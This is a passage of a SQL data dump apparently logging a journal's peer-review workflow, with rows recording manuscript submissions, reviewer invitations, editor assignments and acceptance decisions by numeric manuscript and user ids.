Articles  article',10714,'Publisher',972),(106851,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11234,'Publisher',85),(106852,'0000-00-00 00:00:00','Reviewer has submitted comments',11038,'Reviewer',11520),(106853,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11038,'Publisher',48),(106856,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10930,'Publisher',984),(106857,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10930,'Publisher',984),(106858,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10930,'Publisher',984),(106859,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10930,'Publisher',984),(106860,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10930,'Publisher',984),(106861,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10930,'Publisher',984),(106862,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10930,'Publisher',984),(106863,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10930,'Publisher',984),(106864,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10930,'Publisher',984),(106865,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10930,'Publisher',984),(106866,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10930,'Publisher',984),(106867,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10930,'Publisher',984),(106869,'0000-00-00 00:00:00','Reviewer has submitted comments',10815,'Reviewer',11519),(106870,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11008,'Publisher',84),(106872,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10815,'Publisher',48),(106873,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(106874,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(106875,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(106876,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(106877,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(106878,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(106879,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(106880,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(106881,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10816,'Publisher',48),(106883,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11238,'Publisher',75),(106884,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',9229,'Publisher',75),(106885,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',9466,'Publisher',75),(106886,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',11234,'Reviewer',11720),(106889,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10714,'Editor',1310),(106890,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10714,'Publisher',972),(106894,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(106895,'0000-00-00 00:00:00','Reviewer has submitted comments',10342,'Reviewer',20671),(106896,'0000-00-00 00:00:00','Reviewer has updated comments',10342,'Reviewer',20671),(106943,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11279,'Publisher',988),(106944,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11280,'Author',11748),(106945,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11281,'Publisher',988),(106947,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11283,'Publisher',988),(107004,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11294,'Author',11758),(107011,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11246,'Publisher',48),(107029,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11297,'Author',11761),(107055,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10342,'Editor',1667),(107057,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10342,'Editor',1667),(107062,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11104,'Publisher',673),(107063,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(107074,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(107075,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(107076,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11234,'Publisher',85),(107093,'0000-00-00 00:00:00','Reviewer has submitted comments',11144,'Reviewer',18830),(107094,'0000-00-00 00:00:00','Publisher : Notified Editor',9640,'Publisher',274),(107148,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11307,'Author',11767),(107152,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11311,'Author',11773),(107243,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10526,'Publisher',84),(107244,'0000-00-00 00:00:00','Reviewer has submitted comments',10222,'Reviewer',16023),(107245,'0000-00-00 00:00:00','Reviewer has updated comments',10222,'Reviewer',16023),(107246,'0000-00-00 00:00:00','Reviewer has submitted comments',10322,'Reviewer',16023),(107247,'0000-00-00 00:00:00','Reviewer has submitted comments',10371,'Reviewer',16023),(107248,'0000-00-00 00:00:00','Reviewer has submitted comments',11085,'Reviewer',11446),(107255,'0000-00-00 00:00:00','Reviewer has submitted comments',10840,'Reviewer',11444),(107256,'0000-00-00 00:00:00','Reviewer has submitted comments',11008,'Reviewer',11444),(107273,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11320,'Author',11780),(107274,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(107275,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(107276,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(107277,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(107278,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(107279,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(107280,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11093,'Publisher',85),(107298,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11283,'Publisher',988),(107299,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11281,'Publisher',988),(107300,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11279,'Publisher',988),(107301,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11283,'Publisher',988),(107302,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11283,'Publisher',988),(107303,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11283,'Publisher',988),(107304,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11281,'Publisher',988),(107305,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11281,'Publisher',988),(107306,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11281,'Publisher',988),(107307,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11279,'Publisher',988),(107308,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11279,'Publisher',988),(107309,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11279,'Publisher',988),(107327,'0000-00-00 00:00:00','Manuscript Submitted by Author',11323,'Author',10931),(107331,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11280,'Publisher',645),(107332,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11280,'Editor',1708),(107333,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11280,'Editor',1708),(107334,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11294,'Publisher',248),(107335,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11270,'Publisher',84),(107342,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11270,'Publisher',84),(107343,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11270,'Publisher',84),(107344,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11270,'Publisher',84),(107345,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11270,'Publisher',84),(107346,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11270,'Publisher',84),(107347,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11270,'Publisher',84),(107348,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11270,'Publisher',84),(107349,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11270,'Publisher',84),(107350,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11270,'Publisher',84),(107351,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11270,'Publisher',84),(107352,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11270,'Publisher',84),(107353,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11270,'Publisher',84),(107354,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11270,'Publisher',84),(107355,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11270,'Publisher',84),(107356,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11270,'Editor',221),(107357,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11270,'Editor',221),(107358,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11246,'Publisher',48),(107359,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11246,'Publisher',48),(107360,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11246,'Publisher',48),(107361,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11246,'Publisher',48),(107362,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11246,'Publisher',48),(107369,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11083,'Publisher',48),(107380,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11327,'Publisher',319),(107381,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11328,'Publisher',319),(107386,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10822,'Editor',161),(107387,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10822,'Editor',161),(107388,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10822,'Publisher',75),(107418,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11337,'Author',11792),(107429,'0000-00-00 00:00:00','Publisher : Notified Editor',11144,'Publisher',988),(107430,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11144,'Editor',1410),(107431,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11144,'Editor',1410),(107432,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11144,'Editor',1410),(107433,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11144,'Publisher',988),(107490,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11311,'Publisher',48),(107528,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10342,'Publisher',274),(107529,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11307,'Publisher',48),(107530,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11307,'Publisher',48),(107531,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11307,'Publisher',48),(107532,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11307,'Publisher',48),(107533,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11311,'Publisher',48),(107534,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11311,'Publisher',48),(107535,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11311,'Publisher',48),(107536,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11311,'Publisher',48),(107537,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11320,'Publisher',85),(107538,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107539,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107540,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107541,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107542,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107543,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107544,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107545,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107546,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107547,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107548,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107549,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107550,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107551,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107552,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107553,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107554,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107555,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107556,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107558,'0000-00-00 00:00:00','Manuscript Updated',10265,'Publisher',673),(107561,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11307,'Editor',194),(107562,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11307,'Editor',194),(107563,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11246,'Editor',194),(107564,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11246,'Editor',194),(107565,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11311,'Editor',194),(107566,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11311,'Editor',194),(107567,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11246,'Publisher',48),(107568,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11307,'Publisher',48),(107569,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11311,'Publisher',48),(107583,'0000-00-00 00:00:00','Manuscript Submitted by Author',11354,'Author',11768),(107605,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11196,'Publisher',274),(107606,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11196,'Publisher',274),(107607,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11196,'Publisher',274),(107608,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11196,'Publisher',274),(107609,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11196,'Publisher',274),(107610,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(107611,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(107612,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(107613,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(107614,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(107627,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107628,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11320,'Publisher',85),(107816,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11323,'Publisher',248),(107826,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11390,'Publisher',1009),(107828,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11391,'Publisher',1009),(107829,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11392,'Publisher',1009),(107830,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11393,'Publisher',1009),(107831,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11394,'Publisher',1009),(107833,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11297,'Publisher',84),(107834,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11337,'Publisher',84),(107835,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11337,'Publisher',84),(107836,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11337,'Publisher',84),(107838,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11337,'Publisher',84),(107839,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11337,'Publisher',84),(107840,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11337,'Publisher',84),(107841,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11337,'Publisher',84),(107842,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11337,'Publisher',84),(107843,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11337,'Publisher',84),(107844,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11337,'Publisher',84),(107845,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11337,'Publisher',84),(107850,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11337,'Publisher',84),(107851,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11337,'Publisher',84),(107852,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11337,'Publisher',84),(107853,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11337,'Publisher',84),(107854,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11337,'Publisher',84),(107855,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11144,'Publisher',988),(107858,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10342,'Publisher',274),(107866,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11101,'Publisher',645),(107867,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11265,'',1105),(107868,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11264,'',1105),(107869,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11263,'',1105),(107870,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11262,'',1105),(107871,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11265,'Editor',1705),(107872,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11265,'Editor',1705),(107873,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11264,'Editor',1705),(107874,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11264,'Editor',1705),(107875,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11263,'Editor',1705),(107876,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11263,'Editor',1705),(107877,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11262,'Editor',1705),(107878,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11262,'Editor',1705),(107887,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11328,'Publisher',319),(107888,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11327,'Publisher',319),(107897,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11354,'Publisher',48),(107899,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11354,'Publisher',48),(107901,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11354,'Publisher',48),(107972,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11432,'Author',11856),(107991,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11337,'Editor',221),(107992,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11297,'Editor',221),(107993,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11337,'Editor',221),(107994,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11297,'Editor',221),(107995,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9640,'Editor',1663),(107996,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',9640,'Editor',1663),(107997,'0000-00-00 00:00:00','Publisher : Notified Author',9640,'Publisher',274),(108055,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11439,'Publisher',85),(108066,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11440,'Author',11862),(108068,'0000-00-00 00:00:00','Author sent Email',4013,'Author',5214),(108111,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11313,'Publisher',274),(108112,'0000-00-00 00:00:00','Publisher : Notified Author',9640,'Publisher',274),(108114,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11313,'Publisher',274),(108115,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11313,'Publisher',274),(108116,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11313,'Publisher',274),(108117,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11313,'Publisher',274),(108118,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11313,'Publisher',274),(108119,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11313,'Publisher',274),(108120,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11313,'Publisher',274),(108121,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11313,'Publisher',274),(108122,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11313,'Publisher',274),(108123,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11313,'Publisher',274),(108124,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(108125,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(108126,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(108127,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(108128,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(108129,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(108130,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(108131,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11152,'Publisher',274),(108134,'0000-00-00 00:00:00','Publisher : Notified Author',9640,'Publisher',274),(108135,'0000-00-00 00:00:00','Publisher : Notified Author',10147,'Publisher',274),(108136,'0000-00-00 00:00:00','Publisher : Notified Author',10452,'Publisher',274),(108160,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11447,'Author',11869),(108254,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',9134,'Publisher',84),(108288,'0000-00-00 00:00:00','Reviewer has submitted comments',11320,'Reviewer',18913),(108290,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11450,'Publisher',972),(108291,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11451,'Author',11874),(108295,'0000-00-00 00:00:00','Manuscript Submitted by Author',11453,'Author',11876),(108358,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11297,'Publisher',84),(108359,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11297,'Publisher',84),(108360,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11297,'Publisher',84),(108361,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11297,'Publisher',84),(108362,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11297,'Publisher',84),(108363,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11297,'Publisher',84),(108364,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11297,'Publisher',84),(108365,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11297,'Publisher',84),(108366,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11297,'Publisher',84),(108367,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11297,'Publisher',84),(108368,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11297,'Publisher',84),(108369,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11297,'Publisher',84),(108371,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11297,'Publisher',84),(108372,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11297,'Publisher',84),(108373,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11297,'Publisher',84),(108375,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11297,'Editor',221),(108378,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11432,'Publisher',48),(108379,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11432,'Publisher',48),(108380,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11432,'Publisher',48),(108381,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11432,'Publisher',48),(108382,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11432,'Publisher',48),(108383,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11432,'Publisher',48),(108389,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11432,'Editor',194),(108390,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11432,'Editor',194),(108391,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11354,'Editor',194),(108392,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11354,'Editor',194),(108393,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11432,'Publisher',48),(108394,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11354,'Publisher',48),(108395,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11307,'Publisher',48),(108503,'0000-00-00 00:00:00','Manuscript Submitted by Author',11476,'Author',11876),(108508,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11479,'Author',11892),(108510,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11480,'Author',11893),(108511,'0000-00-00 00:00:00','Author sent Email',4013,'Author',5214),(108513,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11242,'Publisher',376),(108514,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10996,'Publisher',376),(108515,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10836,'Publisher',376),(108516,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11242,'Editor',1705),(108517,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11242,'Editor',1705),(108518,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10996,'Editor',1705),(108519,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10996,'Editor',1705),(108520,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10836,'Editor',1705),(108521,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10836,'Editor',1705),(108532,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11269,'Publisher',376),(108533,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11269,'Editor',1705),(108534,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11269,'Editor',1705),(108557,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11394,'Publisher',1009),(108558,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11393,'Publisher',1009),(108559,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11392,'Publisher',1009),(108560,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11391,'Publisher',1009),(108561,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11390,'Publisher',1009),(108562,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11481,'Author',11894),(108563,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',11482,'Publisher',248),(108564,'0000-00-00 00:00:00','Publisher : Notified Author',9640,'Publisher',274),(108565,'0000-00-00 00:00:00','Publisher : Notified Author',9999,'Publisher',274),(108566,'0000-00-00 00:00:00','Publisher : Notified Author',10147,'Publisher',274),(108567,'0000-00-00 00:00:00','Publisher : Notified Author',10452,'Publisher',274),(108573,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11394,'Publisher',1009),(108574,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11393,'Publisher',1009),(108575,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11392,'Publisher',1009),(108576,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11391,'Publisher',1009),(108577,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11390,'Publisher',1009),(108578,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11439,'Publisher',85),(108579,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11439,'Editor',1291),(108580,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11439,'Editor',1291),(108581,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11439,'Publisher',85),(108582,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11439,'Publisher',85),(108594,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10781,'Editor',160),(108595,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10635,'Editor',162),(108596,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10635,'Editor',162),(108597,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10781,'Publisher',75),(108598,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10635,'Publisher',75),(108608,'0000-00-00 00:00:00','Reviewer has submitted comments',11246,'Reviewer',11520),(108609,'0000-00-00 00:00:00','Reviewer has submitted comments',11246,'Reviewer',11520),(108610,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11246,'Publisher',48),(108612,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11447,'Publisher',972),(108613,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11447,'Publisher',972),(108614,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11447,'Publisher',972),(108615,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11447,'Publisher',972),(108616,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11447,'Publisher',972),(108617,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',11487,'Author',11899),(108620,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11450,'Publisher',972),(108633,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11238,'Editor',161),(108634,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11238,'Editor',161),(108635,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11238,'Publisher',75),(108636,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11451,'Publisher',48),(108641,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11451,'Publisher',48),(108642,'0000-00-00 00:00:00','Publisher has Invited 